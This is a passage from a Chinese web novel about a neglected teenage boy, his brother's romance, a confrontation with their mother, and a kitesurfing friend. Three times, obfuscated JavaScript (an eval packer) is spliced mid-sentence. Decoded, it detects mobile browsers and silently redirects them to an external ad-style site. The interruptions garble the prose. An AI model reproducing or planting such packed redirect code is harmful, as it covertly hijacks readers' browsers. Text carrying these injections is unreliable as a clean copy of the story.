楼上的声音还在持续,但中年男人的骂声早已消失了,只剩陈序冷言冷语的指责。那些话就像一根根刺刀捅入方清珏的心,没有一句不是他想对方一航说的。 可他没有这个机会。 十六年来,他与方一航只见过一面,话都没来得及说一句。很多时候,方清珏都恶毒地想,如果没有这个爸就好了。 他单手撑腮,偏头盯着天花板,若有所思地听着楼上的打骂声。江川欲言又止地看过来几眼,忽然凑近,将防尘塞塞进了他的耳朵。 打骂的声音瞬间消失了,整个世界都万籁俱寂,仿佛只剩下他和江川两个人。 方清珏移眸看去,发现江川那双琥珀色的眼眸比往常深了许多,像阴雨天浪潮翻涌的海面,深深沉沉,有些压抑。 他忽然想知道他在想什么。 但江川没给他问的机会,为他戴好耳塞就坐回去继续写作业。 他做题的速度很快,基本读一遍题干就会动笔,没卡壳的时候,神色间都是游刃有余的从容,仿佛再难的题对他来说都是小菜一碟。 这让方清珏想起了方程,但方程只在数学方面如此得心应手,化学题做起来都没有这么丝滑。 他的目光落在练习册上,思绪渐渐飞远了。不知道过了多久,江川笔尖一顿,抬眼看了过来。 也许是他的眼睛太过澄净,也许是挨坐的距离太近,方清珏的大脑有一瞬间的空白,盘踞在脑海里的那些乱七八糟的思绪霎时清空了。 然后,在他还有点呆懵懵的时候,江川抬手取走了他的耳塞。 屋内恢复了安静,楼上的声音没了。 “你觉得……”方清珏想了想措辞,“是精神虐待伤害大,还是肉-体-虐-待伤害大?” 江川沉吟了几秒,反问:“那你觉得,是adc厉害还是apc厉害?” 方清珏:“……” 还是你厉害。 每回都能四两拨千斤,又让人醍醐灌顶。 方清珏:“确实没法比。” 江川:“别胡思乱想了,写作业吧。” 门吱呀一声被推开了,陈婆笑着走进来,说:“饭好咯!吃完饭再写。” 方清珏有点惊讶:“阿婆什么时候回来的?我怎么没听见开门声。” 江川朝窗外扬了扬下巴:“估计是从院子进来的,阳台门没关。” “你们小区还能自己圈地当院子,挺厉害的。” “整栋楼都是国家的,算哪门子小区。”江川起身往出走。 两个人说着走到客厅,坐在餐桌旁。江川盛了一大碗三鲜汤放在他面前:“陈阿美女士的爱,喝光,不许剩。” 第一次有人特意给他炖汤喝,方清珏心里暖暖的,像胸腔里塞进一个小太阳。他向陈婆道谢,陈婆笑着剥了几个虾,放在他碗里:“多吃点。” 老一辈最朴实的善意莫过于此。 方清珏被这善意砸得有点晕头转向,赶紧低头喝了一口汤。 海鲜汤是用青咖喱煮的,味道确实不错,酸酸辣辣很开胃。 他想起林真真提过几回陈婆,说她爱贪小便宜,总因为块儿八毛的和菜贩子吵架,给街坊剪头从来不肯优惠,养的女儿也一心攀高枝,不知跟了哪个老总,最后高枝没攀上,得癌症死了,孙子还被老总退回来了。 林真真说话一向刻薄,他左耳朵听右耳朵就往出冒了,因为他觉得陈婆不是这种人。 至于林真真为什么这么说,为什么对陈婆有敌意,为什么提到江川表情会变得冷嘲热讽,大概是因为这个人一来港城,就抢走了方程的全校第一和原本属于她的艳羡目光。 一山不容二虎,一个小镇里也出不了两个天才。江川稳扎稳打的成绩遮不住方程在数学上的优异天赋,可总有人不知足。 “咬筷子发什么愣?”江川侧眸看他。 “没……”方清珏低头往嘴里塞了一块虾仁。 除了海鲜汤,陈婆还做了丝瓜蒸肉片,肉臊蒸蛋和拍黄瓜。 江川饭量比上次大了一点,频繁地吃那碗肉臊蒸蛋,其他的都没怎么动。但吃得依旧不多,都没有陈婆多,不知是饭量本来就小,还是不合胃口。 方清珏没由来的有点紧张,可他转念一想,这桌上除了汤其他的应该都和自己没关系,就又放松了下来。 陈婆吃饭喜欢唠家常,倒不是说三道四,就是单纯的分享日常。江川时不时附和几句,偶尔会突然看过来问方清珏怎么看。 “我又不是元芳,我能怎么看。” 他一句话就把天聊死了。 江川端着饭碗,一脸无语地盯着他,坐在对面的陈婆笑得仰起了头。方清珏低着头,用筷子戳了戳米饭,也像被传染了似的翘了翘唇角。 “憋着。”江川收回了目光,“你可千万憋住了,别乐。” 他不说还好,一说方清珏就噗嗤一声笑了出来。 这顿饭吃得极其轻松。 吃完,方清珏执意要洗碗,不然以后就不来了,江川拗不过他,只能和他一起进了厨房,挤在水槽前一起洗碗,洗完又一起回房间写作业。 天彻底黑下来的时候,方清珏收起练习册,起身要走,江川一把抓住了他的胳膊,揶揄道:“着什么急呢,有约会?” “约个蛋蛋,别胡说。” “有本事早恋没本事承认?” “恋个屁,人家喜欢的是方程。” 江川意味深长地哦了一声,弯起的眉眼间满是促狭的笑意,“原来你小子单相思啊。” 方清珏啪地一下将书包摔在了椅子上,“我都说了我没早恋,也不是单恋,是压根就没恋!” 江川歪着头看他,忍笑忍得肩膀直颤。陈婆端着一盘煮好的菱角走进来,“什么恋没恋,方仔谈恋爱了呀?” 方清珏:“……” 烦躁一瞬间灭了下去,他低声解释:“我没有。” “有也没关系,谁上学时不早恋呢。”陈婆说。 这想法倒是挺开明。 方清珏:“那江川呢?” 江川眼神一定,怔然地看过来,显然没想到他会这么问,“怎么就扯到我身上了?” “我倒是希望他能给我领回来一个,光见人来店里找他,就是不见他和谁眉来眼去。”陈婆笑着说。 方清珏:“有可能是地下恋——” “别胡说。”江川抓了一把菱角,“外婆,我送他回去。” 陈婆应了一声,“黑灯瞎火的,看着点路。” “知道了。” 江川说着,往方清珏手里塞了一块剥好的菱角肉。 “你爱吃菱角?” “陈阿美女士爱吃,她现在牙口不行,咬不动壳,但看见了还是会买。” 方清珏低下头,若有所思地看着菱角,没说话。 两个人踏着夜色往回走,拐进了海角街的大坡时,他脚步一顿,看着不远处和一个姑娘坐在一家面馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139906|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆在外面的餐桌那约会的方程,心里那股不爽的感觉又来了。 那姑娘长得很漂亮,和方程很般配。她边吃面边笑着说着什么,方程坐在对面低头写练习册,时不时回上一句。 林真真很讲究,方程也被养得很挑剔,他从不吃路边摊和苍蝇馆子,也不许方清珏吃,没想到竟然会对女朋友破例。 江川睇了他一眼,也停下了脚步,两个人肩并肩地站在树下观望。 那姑娘说拌面很好吃,极力推荐方程尝一尝,方程就接过筷子吃了一口,吃完用力点了点头,然后三口干光剩下的面。 方清珏:“……” 江川:“……” 那姑娘也挺无语,一言难尽地看着方程:“你都吃完了我吃什么?” 方程低头继续做题,无所谓地说:“你再叫一碗。” 话音一落,姑娘摔了筷子,走了。 方程拿着练习册追上去,问她到底怎么了。姑娘说:“方程,你今年都十九岁了,居然不懂什么是分享,你究竟是怎么长大的?” 方程握紧了练习册,指尖微微有些泛白,“我再给你买一碗……” “我真是对牛弹琴。”姑娘瞪了他一眼跑了,方程立刻跟在后面追。 等他们都跑远了,方清珏才冷着一张脸继续往前走。江川看着他,眸光明灭变化一番,抬手向上指,“你听,它们在那叽叽喳喳地说什么呢?” 方清珏顺着他指尖看过去,见他们头顶的电线杆上有好几只跳跃的麻雀。 “我哪知道。” “我知道。”江川笑着说,“麻雀妈妈问小麻雀要扎什么发型,小麻雀说啾啾,啾啾,啾啾。” 方清珏:“……好冷。” “那你可憋住了,千万别笑出来。” 不知道为什么,他本来没有笑意,听见这句话却莫名其妙地哼笑了一声。 “哎,这就对了嘛。”江川说,“开心也是一天,不开心也是一天,那为什么不开开心心的呢。” 方清珏没说什么,手插进兜里拐进了右手边的巷子。两个人走到一栋别墅门口,江川停在铁门外,说:“有不会的题随时问,找我也行,发微信也行,不用非得攒到十几二十道的时候才来问。” “嗯。” 江川点头,“进去吧。” 方清珏看了他几秒,感觉说再见有点矫情,就直接进院了。一进屋,他直朝冰箱走过去,看着那盘没动过的油爆虾,心想,原来方程是会爱人的。 他知道怎么对一个人好,也会包容,会让步,所以这十六年来他只是不想对自己好而已。 此时此刻,方清珏才知道,为什么面对方程的示好,他总是这么别扭,也终于明白他到底在不爽什么。 他在下意识计较。 他希望方程是发自内心对自己好,不是因为意识到林真真的偏心而有所愧疚,更不是因为爱心泛滥。 但他们早就因为林真真的区别对待产生了隔阂——方程不可能不愧疚,他也不可能不计较。 他们之间的隔阂无法消弭,就像日月同辉却无法靠近。方清珏拿出那盘已经不新鲜的油爆虾,转身倒进垃圾袋。 其实也没什么。 即便方程是他哥,也没义务一定要对他好。 方清珏终于明白,血缘关系并没有想象中的那般重要,也没想象中的那么天经地义,至少它没有令他们之间的兄弟关系变得比其他人更亲密。 实际上,方程和江川,和胖子,和他认识的任何一个人并没有什么不同。什么哥不哥的,只不过是一个称呼而已。 他拎着垃圾袋走出去,将东西扔进室外垃圾桶,那一下扔得很重很重,仿佛被扔掉的不只是一盘虾。 然后他转身往回走,步伐没有迟疑,一次都没有回头。 17. P.都很可怜 器材室的事不知道被谁举报到德育处,大课间一结束,蔡主任就把方清珏叫过去问话。 “有人说看见你和陈序在器材室打架,有没有这回事?” 方清珏:“没有。” 蔡主任不大信,用审视的目光打量了他几秒,问:“陈序没再找过你麻烦?” 方清珏:“没有。” 他语塞一秒,换了个话术:“有什么事一定要及时告诉老师,别怕麻烦也别一味地忍,坏学生最希望你们孤立无援了,这样他们才好下手欺负。” “知道了。”方清珏不为所动地应承着。 蔡主任乜眼看他,也许是明白从他口中问不出来什么,就让他回去了。 下一节是体育课,他照旧去器材室取了标枪,然后到操场上练习。 草坪上的学生三两成群地凑在一起,女生多半在练羽毛球,男生扎堆打篮球,显得扛着标枪的他格格不入,极不合群。 当初选择练标枪,就是因为它不需要和人组队,小时候被全班同学孤立排挤,从那以后,他很怕面临这种被选择的场面,人人都有队友,唯独他被剩下,这种事他不想再经历第二次。 上课铃声响起,大家分散在操场上不同的位置各练各的,直到体育老师吹响自由活动的哨子,他才收好标枪,走到树下的单双杠那里,一手撑着横杠,脚尖一点坐了上去。 这哨声对打篮球的男生来说相当于不存在,两波人依旧打得很激烈,女生将器材送回去后就坐在一旁看,男生便打得更起劲了。 方清珏坐在双杠上,目光落向球场,说不好是在看球还是在发呆。 “喂。” 这声音来自头顶。 他抬头,见陈序坐在榕树粗壮的枝干上,茂密的枝叶遮住了他,不注意看还真发现不了这树上有个人。 “有事?” 陈序朝他扔过来一个东西,方清珏抬手抓住,低头一看,是一块大白兔奶糖。 他顿时有点无语:“给我这个干什么?” 一阵风自上而下落在身边,眨眼间,陈序已经从树上跳下来,坐在他旁边了。 方清珏侧过脸看他。 “为什么不告诉主任?”陈序也偏过头来与他对视。 “懒得多管闲事。”方清珏收回目光,将奶糖揣进兜里。 陈序却没移开视线,目光中添了点审视的意味,“你打架挺厉害的,以前怎么从来不还手?” 方清珏想起江川说陈序之前被他爸打也不还手,有那么点感同身受,便好脾气地回答了。 “我想看看我妈知道以后会有什么反应。” “那她有什么反应?” 方清珏低下头,抓着双杆的手有点僵:“……没反应。” 闻言,陈序的眸色忽然变深,身上那股漫不经心的劲儿也收敛了起来。 他终于收回视线,目光落得很远,声音也低了下去,听起来竟然有几分柔和:“你哥惹到了不该惹的人。” 方清珏:“哦。” 陈序有点奇怪地看着他,“你和我想象中的……不太一样。” 方清珏听罢,没什么表情地看了他一眼,说:“你也是。” 陈序说:“我把这事告诉川哥了,但川哥不可能一天24小时跟着你哥,你让他最近注意点吧。” 关我屁事。 方清珏不置可否地沉默了一会儿,还是问:“为什么?” 陈序摇了摇头,“我也不知道因为什么,道北那帮人经常因为一个眼神打起来,问题大概率不在你哥身上。” 方清珏不怎么在意,比起这个,他更好奇另一件事:“你好像有点怕江川?” “筒子楼的小孩多半都怕他。” 方清珏不自觉地想起一看见江川就跑的小胖子,心里有点奇怪:“为什么?” “他这个人……怎么说呢。”陈序斟酌了一下措辞,“有点另类,你知道那帮混混为什么不收八中学生的孝敬吗?” 道北那边有不少寸头那样的社会青年,没事就四处溜达收保护费,美其名曰孝敬。哪个学校的学生都没能幸免,就八中附近看不见他们。 方清珏:“和江川有关?” “他和伍哥有段时间专门在大街上堵那帮混混,我以为他是替那些被打劫的学生抱打不平,没想到他是黑吃黑,从混混那把钱抢走自己花,有时还会反过来打劫混混,那帮人就不往八中这边来了。” 方清珏凝了凝眉,“可他就住道北啊,那帮人没报复过他?” “怎么可能不报复,还打过陈婆主意呢,后来不知道为什么全都没信了。” 陈序说完就跳下了双杠,往教学楼的方向走。 “喂。”方清珏喊他。 陈序回过头。 “别再欺负小结巴了。”他说。 陈序的眼神突然凝住,定格在他脸上,有点严肃也有点防备地问:“你喜欢她?” 他说话时默不作声地握了握拳,方清珏才注意到他手上戴着一个腕带,莫名想到了那个被他扔进垃圾桶的礼盒,心里冒出来一个猜想。 “是你喜欢她吧。”他用的肯定语气。 陈序很明显地愣了一下,然后移开目光看向教学楼:“你知道是谁告的状吗?” 他这么问,答案已经不言而喻了。方清珏不可置信地眨了眨眼,后知后觉地意识到,小结巴这么做是担心陈序找他麻烦,所以想把麻烦揽到自己身上。 可她明明是胆子那么小的一个人啊…… “我跟过她,”陈序沉吟了几秒,“才发现她也挺可怜的。” 他用了也这个字,方清珏一时间拿不准这个也指代的是他还是自己,亦或是他们三个人。 但他想起了小结巴消瘦孤寂的背影,想起她低着头不敢看人的模样,还有怯懦胆小的性格,猜想她遭受的应该不止是校园霸凌这么简单。 原来生活在别处,各有各的惨。 方清珏的心沉了下去,忽然想起那天从江川家离开时,江川塞给他的书里有这么一句话——人们所受的折磨不应该被拿来比较,因为痛苦并不是一场比赛。 思虑间,陈序已经走远了。 方清珏琢磨着要不要问问江川这到底是怎么回事,毕竟有他挡在前面,方程肯定什么都不知道。 放学后,他先去了理发店,离老远就看见陈婆坐在门口扒菱角,看见他时喜笑颜颜的弯起了眉,声音带着雀跃,“方仔来啦?” 方清珏从书包里取出剥菱角神器,这是他跑了半个港城才买到的,“阿婆,这是专门剥菱角的,有它就不用牙去咬壳了,我教你怎么用啊。” “好哦。”陈婆笑得脸上多了几道褶子,“好孩子,你真是有心了。” 方清珏示范了一遍,陈婆试着做了一遍,果真轻而易举地剥出来果肉。她顿时更高兴了,一直夸方清珏心细,还要留他吃晚饭。 方清珏哪好意思再蹭饭,忙岔开了话题:“江川呢?” “做兼职去咯。” “他都高三了还兼职?” “唉!他高兴嘛,说也不听,只能由着他咯。” 方清珏突然想到一个关于江川的传言——据说他是八中唯一一个逃课逃学不被追究的学生,老师都默认不管,不知道为什么。 陈婆不知想到了什么,叹了口气:“怪我这个老太婆没本事,这么好的一个孩子只能在这受磋磨。” “怎么会呢?”他立刻道,“阿婆是世界上最厉害的人。” “还是我们方仔嘴甜。”陈婆站起来,回屋给方清珏拿了瓶可乐。他没推辞,趁机和陈婆道了别。 这种事在手机里聊不明白,而且他看不见江川的表情,就不知道这人说的到底是不是真的。 还是得当面问。 方清珏拧开可乐,边喝便往家走,走到海角街的时候,远远看见浅水湾有人在放风筝,等走近了才发现是有人借着风筝的力量冲浪。 他想起江川说的风筝冲浪,心里一动,朝海滩走过去。 沙滩上围着很多人,目光都落向海面,胖子站在人群中,双手拢在嘴边,朝在海上冲浪的人喊:“大哥你悠着点!” “那是江川?”方清珏站在他旁边问。 “是啊!”胖子说,“帅吧!酷毙了吧!” 方清珏凝望着江川,见他操纵着风筝在海面上肆意滑行,像只自由的鲸。 远处的海面上有一块突起的礁石,就在江川面前,但他速度只增不减,也完全没有绕行的意思,眼看着就要撞上了! 方清珏的心瞬间提到了嗓子眼,不自主地朝海里走了几步,想提醒他避让。 “来了来了!”胖子激动地拍了拍手,朝周围驻足观望的人吆喝,“接下来是见证奇迹的时刻!” 话音一落,江川在即将撞上礁石的那一秒忽然从海面上腾空跃起,冲浪板在他脚下极速翻转,在空中划出一道漂亮的抛物线,然后在落回海面的一刹那又稳稳地贴合在他脚下,整套动作行云流水,炫酷无比,看得人心神激荡。 周遭立刻响起了惊呼声,还有人在鼓掌,吹哨,似乎所有人都被江川刚刚的操作惊艳到了。 方清珏也觉得不可思议。 胖子朝海面喊了句再来一次,人群便像喊口号似的跟着喊:“再来一次!” 江川再次腾空而起,踩着帆板在空中转了几圈,落回海面时帆板几乎是垂直立在海面上的,他的身体也完全倾斜,与海面拉出一个极小的弧度,几乎是在贴着海面滑行。 这种类似杂技表演的动作一看就知道难度很大,方清珏的心再次悬了起来,担心他下一秒会翻车掉进海里。 没想到江川不慌不忙地松开了左手,伸进海里撩起一把海水,扬起的水珠反射着夕阳的光芒,像围绕着他闪烁的星,衬得他整个人都在发光。 人群再次惊呼出声,江川在海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139907|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面上肆意地滑行了一圈,忽然调转方向朝他们疾驰过来。 等他靠近了,方清珏才看清他身上的设备,是一个扣住了腰间缠带的锁扣,另一端牵着风筝,原理和攀岩一样。 “他怎么不穿救生衣?”他皱了下眉,“不怕掉海里上不来?” “这怎么可能?”胖子说,“川哥可是这一片玩得最好的,很多人都是看了他的风筝冲浪才来店里学的,连俱乐部都在挖他,你掉海里他都不带掉的。” 方清珏:“……” 胖子说话时江川已经越逼越近,方清珏眼睁睁地看着他滑至面前,没有躲。 说来也怪,要是其他人踩着冲浪板直奔自己冲过来,方清珏会立刻避让,防止撞上。但也许是见过江川是怎么炫技的,潜意识里相信他的技术,所以一点也不担心。 江川靠近时歪了下身子,冲浪板在即将撞到方清珏时骤然调转方向拐了回去。同时,一阵风迎面拂过,他手中的那罐可乐不见了。 没等他反应过来,江川便拿着可乐滑远了。他像故意炫耀似的,偏头朝方清珏笑了笑,然后就仰起头,将可乐罐举得高高的,略显透明的灰黑色液体倾灌而出,全部倒进了嘴里。 方清珏的喉结一上一下地动了动,仿佛在跟着江川一起做吞咽动作。 “这个狗,就爱抢别人的。”胖子说,“我回店里再给你拿一瓶。” “不用了。”方清珏想起陈序说的话,看向江川的眼神变得别具深意,“他经常抢别人东西吗?” “那可不,天天抢我鸡蛋饼,连三岁小孩的棒棒糖都不放过。”胖子转身往冲浪店走,“正好我也渴了,你等会儿袄,我给你拿瓶冰镇的。” 他刚走,江川就又滑了回来,将空罐子扔了过来。方清珏伸手接住,看见江川朝他竖起了大拇指,然后嗖地一下又滑远了,来去自如地像一阵风。 他看着手中的空瓶子,那股别扭的感觉又来了,忽然就很想躲。 眼看着江川调转方向滑了回来,方清珏立刻离开人群,顺着木栈道往家走。路过垃圾桶时,他的手举起来,又放下,最后把空罐子放进了书包。 院门口的铁门开着,看样子方程今天没去约会,一放学就回来了。 他加快步伐,想问问方程到底怎么回事,可一进院,就听屋里传来了林真真的声音。 “还有几天就联考了,你不好好复习,竟然跑去约会?我不在这半个月你就天天这么玩物丧志?” 方清珏停下脚步,没进去。 他倚着墙壁,望着天边的夕阳一点点下落,耳边都是林真真的指责和抱怨。 她很少会用这个语气和方程说话,就算说也说不上几句。果然,没一会儿,林真真的声音就染上了哭腔,柔柔弱弱地哭诉命不好,嫁的丈夫靠不住,生的儿子不孝顺。 一般这个时候,一直沉默的方程就会低头认错,然后母子两各退一步皆大欢喜。 没想到今天的剧本和以往不大一样,方程很固执地说:“我会拿第一的。” 林真真软着嗓子说:“……你才多大你就早恋,而且你马上高考了,这种时候怎么能分心呢?分手吧,好吗?” “……妈,我做不到。” “好,好好好,你可真是我的好儿子。”林真真倒吸一口凉气,声音蓦然变得很强势,“那我去她家和她爸妈谈。” “妈!”方程急了。 方清珏叹了口气,心想今天怕是会吵个没完,干脆绕到后院,爬上树,踩着树杈从窗户跳进了自己的房间。 楼下的争执声还在继续,方清珏放下书包,坐在书桌前低头学习。 突然,啪地一下摔门声响起,林真真失控地大喊:“你走了就别再回来!我就当没有你这个儿子!” 方清珏笔尖一顿,安静地等了一会儿,没听见方程的声音,心里觉得稀奇。这人可从来没反抗过林真真,一直像个提线木偶似的让干什么就干什么,怎么谈个恋爱就变得这么有主见了? 他起身走出去,刚走到玄关,就听见林真真哭着说:“妈就你这么一个儿子,你就不能体谅体谅妈吗?” 心脏猛地一颤,方清珏停下脚步,感觉心口被人用力捅了一刀,痛得他弯下了腰,身体不可控制地发着抖。 八月末,天气还是燥热的,他却觉得遍体生寒。方清珏扶着墙,迈出的每一步都极其吃力,但那些积压在心头的不甘与愤懑,像倒灌的海水,汹涌得拍过来,急需一个发泄口。 缓缓迈过门槛,他看见林真真背对着自己站在院子里,一旁的方程低着头,气氛异常沉默。 “……那我呢?”方清珏的声音很轻,也很破碎,一张口就散在了风里。 林真真的脊背很明显地绷紧了,僵硬得像块木板。她好像不知道他在家,回头看过来的那一眼里有掩饰不住的慌乱。 方清珏冲她笑了笑,那笑容特别无力,“妈,原来我不是你亲生的吗?” 18. P.赠你欢喜 林真真的脸短暂地僵了一秒,很快又转变成愤怒,走过来用力给了他一耳光。 “啪!” 清脆的声音伴随着火辣的痛感,方清珏被打得很懵,怔了好一会儿才回过神来,用一种极难相信又极其破碎的眼光看着她。 “你有什么脸这么问?”林真真恼羞成怒道,“如果不是你,我早和那混蛋离婚了!怎么会受这些磋磨,让人明里暗里笑话这么多年!” 方清珏听罢,用舌尖抵了抵腮帮,不耐烦地问:“那你现在怎么不离?” “你以为我不想离?”林真真用怨恨的目光瞪着他,“如果不是你,你爸怎么会一回来就走,我连他在哪儿都不知道我怎么离?” “我是说,他在监狱那十五年,你被邻居嘲笑同妻的十五年,你拼命挣钱拉扯我们两的这十五年,为什么不离婚?”方清珏说着逼近了一步。 他生了一双丹凤眼,还有点下三白,看人的时候眼神自带攻击性。如今蓦然犀利起来,更是散发出一股逼人的震慑力,令林真真的气势转眼间就弱了下去。 “我……”林真真语塞一秒,又立刻梗着脖子喊道,“我是你妈!你这是什么态度!” 这句话似乎坚定了她的信念,她的气场顿时又回来了,扬手又要打方清珏,被一旁的方程拦了下来,“妈!这跟他有什么关系,当年的事怎么怪也怪不到他头上。” “那怪谁?怪我愿意嫁是吗?”林真真仰头看着方程,每说一个字就逼近一寸,两句话说完已经逼到了方程面前,几乎是脸怼着脸地瞪着他。 方程垂下眼帘,避开了林真真的目光,但也固执地不肯后退。 “那为什么怪我呢?” 方清珏指着自己,“我一直想不明白,你为什么总用那样的眼神看我,是怨我来得太不巧,偏偏在你要离婚的时候来到你肚子里,让你离也离不成,过又过不下去,所以把这份恨全发泄在我身上了对吗?” 林真真斜睨着他,冷笑道:“我一把屎一把尿地把你拉扯到这么大,供你上学,给你吃穿,结果还对不起你了是么?” 上位者一旦理亏,必然会用恩情压人,然后就开始胡搅蛮缠地不讲理。这一招,林真真在方程面前百试百灵。但方清珏不吃这一套,听罢也跟着冷笑一声:“你知道为什么一直以来,我都逆来顺受吗?” 没等林真真回答,他便自顾自地往下说:“因为我也觉得没有我,你就不用过这样的人生!” 他的情绪被一点点引燃,起初声音还很低,越说声音越大,最后几乎是喊出来的。那些压抑的苦全从眼里露了出来,眼眶红得可怕,“我心疼你的遭遇,可你心疼过我吗?你真的有把我当儿子吗?既然你这么痛苦,当初为什么不干脆把我打掉?” “你……”林真真指着他,气得浑身发抖。她手一抬起来,方程以为她又要动手,立刻拦在了方清珏面前:“妈!” 林真真看了看方程,又看了看方清珏,忽然明白了过来:“我说你现在怎么越来越叛逆,原来是有人教唆啊。” 她迎视着方清珏的目光,“我养你还养出错来了是吗?你从小到大都不服管教,如今长大了,翅膀硬了,也撺掇你哥和我对着干了是吗?” “妈!这不关他的事。”方程急忙解释,“是我——” 未待他说完,林真真立刻甩了他一耳光:“你给我闭嘴!” 这一下来得太猝不及防,方程怔了足足得有半分钟才缓缓抬手捂住脸,极其缓慢地扭过头,不可置信看着她:“……妈?” 方清珏的吃惊程度一点也不比方程少,他心道,那可是方程,那可是她口中唯一的儿子。 原来,方程并没有想象中的那般被偏爱,只是对照物是自己,才显得他一直在天秤更重的那一边。 丧失表达欲,是一段亲密关系被消耗的开始。方清珏忽然就感觉很累,没有再说下去的欲望。 “算了,你们爱怎么吵就怎么吵吧。”他转身走进屋,顺手关上了门。 经他这么一打岔,院里倒是安静了下来,林真真和方程都没再说话。 没一会儿,外间传来高跟鞋叩击地板的脚步声,然后就是门重重摔上的声音,摔出嘭地一声巨响。 方清珏的心也跟着重重一颤,脑子里一团乱麻。几分钟后,门吱呀一声被人轻轻推开,方程走了进来,递给他一个冰袋。 他讶异了一秒,然后才接过冰袋,敷在火辣辣的脸颊。 “妈是气急了才会那么说,你别往心里去。” 方清珏沉默了几秒,问:“她是怎么知道的?” “老师告诉的。” “老师怎么会知道?” 方程往出走:“不清楚。” 怪不得林真真会突然杀回来。 可是谁告的密呢? 暮色渐浓,蝉仿佛一夜之间全部消失,整个世界都静得诡异,连阵风都没有。 方清珏的心始终平静不下来,整栋别墅如同一个沉默的牢笼,压得他喘不过来气。 他翻出窗户,踩着树杈翻出院子,顺着胡同往出跑。两旁的风景不断向后退,路灯也拉出长长的光线,他不知疲倦地跑着,速度越来越快,眼前的世界渐渐变得模糊不清。 突然间,有人抓住他的胳膊,揽住他的腰将他劫了下来,方清珏看不清是谁,但闻到了熟悉的香气,随后听见了江川的声音。 “大半夜的你跑什么,后面有女鬼追你啊?” 脸上传来温润的触感,江川伸手擦掉了他的眼泪,世界变得清晰起来。方清珏看见了近在咫尺的霓虹灯招牌,才发现自己不知不觉跑到了追尾冲浪店。 胖子站在店门口欲言又止地看着他,方清珏别过脸,说话时鼻音很重:“锻炼身体。” “哦……”江川不露声色地打量他,“那锻炼完了吗?” 方清珏嗯了一声。 “沙滩上那么多石头子和碎贝壳,连个灯都没有,你在这夜跑也不怕摔个好歹。”江川拉着他往冲浪店后面走。 方清珏破罐子破摔地说:“摔就摔。” 摔死了清静。 闻言,江川瞥了他一眼,又很快收回视线,将他带到冲浪店后门的水槽前,拧开了水龙头。 “洗洗你脸上的汗。” 方清珏:“……” 他有点尴尬地低下头,接了捧凉水洗了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139908|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗脸。 “你怎么还没回去?”他生硬地岔开话题。 江川倚着门框,懒散地说:“看电影啊。老伍找了个动漫,还挺好看的,你也来呗?” 方清珏没说话,关上水龙头跟在他身后进了店。 店里没开灯,只有吧台那开着一盏很有氛围感的小夜灯,摆着花生瓜子卤鸭脖,还有几瓶冰镇啤酒,一旁立着一块幕布,投放的是宫崎骏的电影《千与千寻》。 江川拉着他坐下,将一瓶啤酒的瓶口搭在桌沿,抬手用力一拍,瓶盖就掉在了地上。他将啤酒瓶放在方清珏面前,说:“想吃什么自己拿。” 方清珏嗯了一声。 一旁的胖子被电影情节逗乐,哈哈地笑了出来。方清珏突然就很羡慕他,心道,怎么每次看见他,他都在咧着嘴傻乐,就像永远没有烦心事一样。 他拿起酒瓶喝了一口啤酒,冰凉凉的液体下肚,有点难受,也有点想哭。方清珏低头抹了把脸,再抬眼,就发现桌面上多出来一包面巾纸。 他移眸看过去,江川和胖子都背对着自己侧坐在高脚椅上看电影,时不时会因为剧情聊上几句,仿佛他不存在。 昏暗的环境像一个贴心的港湾,谁都看不清谁,无论做什么都不会有人注意。方清珏拿走那包纸,安静地缩在角落里舔舐伤口,像一只困顿的幼兽。 片尾曲响起来的时候,胖子跟着旋律吹了一段口哨,炫耀道:“怎么样?我厉不厉害?” 江川吐掉瓜子皮,说:“凑合。” “这还凑合?”胖子不信。 “小孩都吹得比你好。”他拍了拍手上的瓜子沫,站起身,“我送他回去,你记得锁后门。” 胖子嘁了一声,“知道了。” “不用送,我家离得近。”方清珏用力抹了把脸。 “走吧。”江川抓着他的手腕,带着他出去了。 两个人沿着木栈道往回走,海风迎面拂过,吹乱了头发,那些心事仿佛也被吹远了,一点点散在风里。 方清珏还惦记着陈序说的话,便问:“方程到底怎么得罪那个寸头了?” “没得罪,就是情敌而已。” “情……”他猛然反应过来,心想,难道是他向老师举报的? 这招挺狠。 可他总感觉这个寸头有点来者不善。 他敛眸沉思着,没再说话,江川也没再开口。 两个人一路无言地拐进半截胡同,江川停在一扇刷着红漆的铁门前,看着满墙的藤本月季,问:“这是龙沙宝石吧?” “不知道。”方清珏也看向花墙,“这一片很多家都在干民宿,院子里都种这种花。” 夜风在花海里飘动,江川那双浅淡的眼眸映着明月的清辉,看起来分外明亮。 